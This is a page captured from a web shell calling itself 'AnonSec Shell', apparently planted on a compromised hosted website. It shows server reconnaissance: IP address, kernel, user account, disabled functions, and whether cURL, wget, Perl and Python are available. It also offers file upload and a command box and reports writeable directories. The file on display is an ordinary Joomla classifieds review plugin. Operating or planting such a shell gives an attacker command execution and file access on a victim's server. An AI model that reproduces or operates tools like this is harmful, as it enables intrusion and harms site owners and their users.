AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.117
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nice2/plugins/djclassifieds/jlexreview/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nice2/plugins/djclassifieds/jlexreview/jlexreview.php
<?php
/**
 * @version		1.0.0
 * @package		DJ-Classifields - JLex Review
 * @copyright	Copyright (C) 2013-2016 JLexArt Team. All rights reserved.
 * @license		GNU/GPL or later
 * @author		JLexArt.COM (support@jlexart.com)
 */

defined('_JEXEC') or die;

class plgDjclassifiedsJLexReview extends JPlugin {

	public function onAfterDJClassifiedsDisplayTitle (&$item, & $par, $context)
	{
		// items.blog
		$enable = false;
		if ( $this->params->def('ratingcountproductlist',1)==1 && $context!='item' ) $enable = true;
		if ( $this->params->def('ratingcountproduct',1)==1 && $context=='item' ) $enable = true;

		$loader = JPATH_ROOT . '/components/com_jlexreview/load.php';
		if ($enable && file_exists($loader))
		{
			require_once $loader;
			return JLexReviewLoad::quick_init( "djclassifieds", $item->id);
		}
	}

	public function onAfterDJClassifiedsDisplayContent ( &$item, & $par, $context)
	{
		if ($context != 'item')
		{
			return '';
		}

		$cat_id = isset($item->cat_id) ? $item->cat_id : '';
		
		$loader = JPATH_ROOT . '/components/com_jlexreview/load.php';
		if ( file_exists($loader) )
		{
			require_once $loader;
			return JLexReviewLoad::init ( $item->name, 'djclassifieds', $item->id , $cat_id );
		}
	}

}

Anon7 - 2022
AnonSec Team